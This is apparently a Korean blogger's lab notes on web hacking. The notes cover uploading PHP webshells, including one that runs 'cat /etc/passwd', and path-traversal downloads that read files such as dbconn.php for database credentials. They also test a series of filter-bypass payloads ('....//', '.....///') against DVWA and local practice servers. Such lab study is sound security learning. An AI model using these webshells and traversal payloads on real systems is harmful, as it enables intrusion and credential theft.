웹해킹 파일업로드 취약점

Web hacking|2020. 12. 1. 11:16

 

owasp zap 설치!

 

https://www.zaproxy.org/download/

 

 

파일다운로드취약점-------------------------------------------------------------------------------------

 

 

 

간단한 웹쉘 만들기

 

 

<?php

phpinfo();

?>

 

 

 

 

 

 

 

 

 

webhack 사이트에서

 

 

 

 

 

글하나 등록하고나서

 

 

 

 

서버에 웹셀업로드

다운로드 텍스트로 다운이됨

다운로드가 된다는 것은 웹쉘이 실행이 되지 않는 것이지

서버에는 정상적으로 업로드가 되었다.

서버의 파일 업로드 경로를 찾아서, 직접 실행시켜주면 된다.

 

 

 

 

 

 

 

192.168.0.100/webhack/board/download.php?file=core/shell.php

 

var/www/html/webhack/board/core/shell.php

 

 

경로를찾고싶을떄 owasp zap을 사용해본다.

 

 

 

 

 

 

 

 

 

 

파일 경로를 유추해본다

 

 

 

 

 

 

 

 

 

 

구글에서 프록시를 잡아주면 owasp에서 버프슈트처럼 프록시를 잡앗다생각해라.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

이런식으로 다나옴

 

 

서버의 파일 업로드 경로를 찾아서, 직접 실행시켜 주면 된다.

 

owasp zap으로 프록시를 잡아서 사이트를 추가

 

공격-spider로 웹서버의 폴더구조 스캔

 

webhack/board 디렉토리로 가면 upload라는 폴더가 보인다.

 

upload 파일폴더밑에 core 폴더가 있고 shell.php 파일이 있으므로

 

업로드된 파일의 서버경로는

 

var/www/html/webhack/board/upload/core/shell.php

 

 

주소창에

https://192.168.0.100/webhack/board/upload/core/shell.php

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

------------------------------------------------------------------------------다음과제

 

 

 

--------------------------------------------

 

 

 

 

 

 

 

 

webhack - board -upload -admin

qna_write_ok.php -beee

-core -shell.php

-exam

 

 

 

board 안에있는

 

내가 보고싶은것은 qna_write_ok.php 를 다운을 받는것을 원한다.

 

 

 

https://192.168.0.100/webhack/board/download.php?file=core/shell.php

php업로드된파일을 다운로드 눌렀을떄 나오는 페이지

 

download.php?file=경로 -> 경로에 지정된 파일이 다운됨

 

위에것을보고

내가 원하는 경로의 파일을 한번 보자

 

download.php?file=qna_write_ok.php 가 저장된 경로를 넣어보자

 

 

 

 

http://192.168.0.100/webhack/board/download.php/?file=../qna_write_ok.php

 

 

 

이렇게하면

 

 

 

 

 

 

 

 

 

 

 

 

 

디폴트경로 var/www/html/webhack/board/upload/

 

원하는경로 var/www/html/webhack/board/

 

 

 

http://192.168.0.100/webhack/board/download.php/?file=../qna_write_ok.php

 

 

 

download.php?file=../qna_write_ok.php

 

 

 

download.php?file=../../dbconn.php

 

----------------------------------------------------------

 

데이터베이스 계정탈취

 

 

download.php?file=../../dbconn.php

 

 

http://192.168.0.100/webhack/board/download.php/?file=../../dbconn.php

 

 

 

이런식으로 데이터베이스 탈취가 가능하다

 

 

http://192.168.0.100/webhack/board/download.php/?file=../../user_id

 

 

 

 

 

 

 

 

-------------------------------------------------------

 

 

 

메타스플로이터블 키고

 

 

 

 

이미지파일 1mb 이상인 파일업로드하기

 

metasploitable을 vmware가동시키고 ifconfig에서 나온 ip 를 url에 넣으면 된다.

 

DVWA

admin /password

 

 

 

]

 

 

 

 

 

 

 

 

 

 

 

 

 

파일크기가 작아서 업로드가안된다...

 

 

 

 

 

 

파일 사이즈를 변경해주면 가능!!!!

 

 

 

 

 

 

 

 

 

 

-------------------------------------------------------

다음 문제

 

<?php

passthru("cat /etc/passwd");

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

파일업로드를이용해

 

버프수트를 이용해 파일사이즈를 변경하고

 

ㅇ이용한다.

 

 

파일 업로드에성공!!

 

 

../../hackable/uploads/qweqw.txt

 

 

 

 

 

 

 

 

 

 

 

 

url 에

 

 

추가하면 댄다!!

../../hackable/uploads/qweqw.php

 

 

 

 

 

 

http://192.168.0.91/dvwa/hackable/uploads/qweqw.php

 

--------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

------------------------------------------------

 

 

웹핵사이트에서

 

 

파일업로드, 파일업로드안되면 크기 프록시로변경하고

 

하기

 

 

 

 

 

 

 

 

 

첨부파일을등록하고

 

 

 

https://192.168.0.100/webhack/board로

 

들어가면

 

 

 

upload로 들어가게되면

 

 

 

내가등록한 게시물에

 

 

 

등록한 파일이 있다~!!!!!!!!

 

 

 

 

 

 

 

 

여기에 이렇게 뜬다..!

 

 

 

 

 

 

 

---------------------

 

 

 

 

dvwa 계정목록 가져오기

--------------------

 

 

 

 

 

 

 

 

파일만들어서

dvwa에

 

upload하고 올리고

 

 

 

dvwa 계정목록

 

 

 

 

 

 

 

 

----------------------

 

 

 

 

 

 

 

똑같은 dvwa 계정목록 가져오는 방법

 

--------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

파일 php파일

 

만들고 거기에

 

주소창에 data=cat /etc/passwd

 

data형식으로 진행한다

 

 

?data=cat /etc/passwd

 

get형식으로 가져온다.

 

 

 

이렇게도 성공

 

 

 

 

 

------------------------------------------

 

 

 

 

 

----------------------------------------------------------

 

 

 

 

 

 

 

 

이것을 이용해서

 

 

http://192.168.0.10/test1/

 

c:\down\clear.txt

파일을 다운받는것이

 

목표다

 

내윈도우 서버 중요한파일

 

 

 

 

 

 

 

 

 

filename=test.jpg

 

/var/www/html/test1/file/upload/test.jpg

 

 

c:\apache2\html\test1\upload\test.jpg

 

 

 

filename=../../../../../../../down/clear.txt

 

..가 안되는걸보고

 

../ 이걸 필터링 했다고생각한다

 

 

 

 

 

 

http://192.168.0.10/down/clear.txt

 

 

 

filename=test../t.jpg

 

test.jpg파일이 다운이된다면

 

서버는 ../를 필터링 하는게 확실함

 

 

 

 

 

서버는

 

 

 

tes../../t.jpg

 

 

 

 

fillename=te....//st.jpg

 

../ 필터링된것을확인했었는데

 

te..../ 이런식으로하니까 한번만 사라지고 ..은사라진다

 

....//=>../를 한번만 필터릴하므로, 남은 ../은 인식

 

 

 

http://192.168.0.10/test1..../..../..../..../..../..../down/clear.txt

http://192.168.0.10/test1..../..../..../..../..../..../..../..../down/clear.txt

 

http://192.168.0.10/test1..../..../..../..../..../..../..../..../..../down/clear.txt

 

 

 

 

 

 

 

 

....//....//....//....//down/clear.txt

 

 

 

 

 

 

파일다운완료

 

 

....//....//....//....//down/clear.txt

 

 

필터링을 이용해서풀면된다.

 

 

 

 

--------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

이런방법도있다

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-------------------------------------------

 

 

 

 

---------------------------------------------------------------

 

 

 

 

 

 

test 2번!!!

 

 

 

 

 

 

 

 

 

path=upload%2Fimages&filename=test.jpg

 

 

 

path=filename=test.jpg

 

 

/down/clear.txt

파일명에는 경로가 안되고

무조건 파일명만 들어가야된다

 

 

 

../../../../upload/images/test.jpg

 

 

../../../../upload/images/down/clear.txt

../../../../upload/down/clear.txt

../../../../../upload/images/

 

 

 

 

 

 

 

 

위의 내용의 경로를

 

 

 

 

 

변경한다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

upload/images/../../../../../../down

 

 

 

 

 

 

 

이것은 필터리안되잇는걸 확인하고 제대로된 경로를 줌

 

 

 

path=upload/images/../../../../../../down

 

타고타고올라가니까 결국에는 앞에있는 upload/imges/가 사라진다

 

-------------------------------------------------------------------------------

 

 

-------------------------

 

다음문제는 이런게 있다고만 생각해라.

취약점진단툴로도 이러한것은 안나온다고 하기떄문이다

 

 

 

 

http:?/192.168.0.10/test3

 

../

 

./

 

 

 

1.먼저 필터링되는문자를찾는다

 

 

 

 

 

../../../../../../../..//../../../../down/clear.txt 반응이 틀리게나온다

 

 

허용되지않는문자가 존재하지않는다고나온다

 

근데

 

 

../../down/clear.txt로하면

 

 

 

 

../ 사용가능 - 인식 상위 단계로 이동

 

./ 사용가능 - 인식 현재 경로 표시

 

../../ 사용불가 - 경로가 필터링된다

 

 

../../../ 사용불가 - 경로가 필터링된다.

 

 

-> 문자열 전체를 처음 ../ 만 인식

 

 

 

.././.././.././../down/clear.txt

 

 

../test.jpg => 다운로드가능 . 즉 ../는 필터링

 

../../test.jpg => 허용되지 않는 문자 포함, 즉 ../../ 은 ../으로 인식

앞에있는 ../ 또는 뒤에 있는 ../ 은 서버로 인식이 되고

../을 이용한 경로이동이 차단

 

 

 

./test.jpg => 다운로드 가능하지만 ./는 현재경로를 뜻하므로 필터링이 되는지, 서버에서 인식이 되는지 모른다.

 

././test.jpg => 다운로드 가능,. 하지만 ./은 현재 경로를 뜻하므로 필터링이 되는지, 서버에서 인식이 되는지 모른다.

 

 

.././test.jpg => 경로 오류

 

./../test.jpg => 경로 오류

 

 

 

 

filename=.././.././.././.././.././.././.././.././.././.././down/clear.txt

 

 

filename=../../../../.././.././.././.././.././.././.././.././down/clear.txt

 

 

 

 

 

 

 

 

 

 

 

 

-------------------------------------------

 

 

 

 

 

 

 

 

 

------------------------------------

 

다음문제는 이런게 있다고만 생각해라.

취약점진단툴로도 이러한것은 안나온다고 하기떄문이다

 

 

 

192.168.0.10/test4

 

.....//// 이것도되여

 

filename=.....////.....////.....////.....////down/clear.txt

 

 

 

 

 

 

......///.....///......///.....///......///.....///down/clear.txt

.....///...

 

 

 

 

 

../ => 존재x

 

./ 다운로드 가능 ->./는 필터링(가정)

 

. => 존재x

 

-> ../와 . 의 반응이 같다. 즉./을 필터링 하는것으로 추측

 

 

 

./를 제거하는데 . 제거한 결과가 ../로 만들고싶다면 => ...//

 

...//=> 다운로드 가능 즉../ 도 제거

 

즉 ./ 와 ../ 는 확실히 제거가 될것같다.

 

...// 를 제거하는데 ../ 를 만들고 싶다면 => .....///

 

...../// -> ./ 를 제거 =....// -> ../를 제거 =../

 

즉 3번 까지는 제거하지 않는다

 

......///.....///......///.....///......///.....///down/clear.txt

댓글()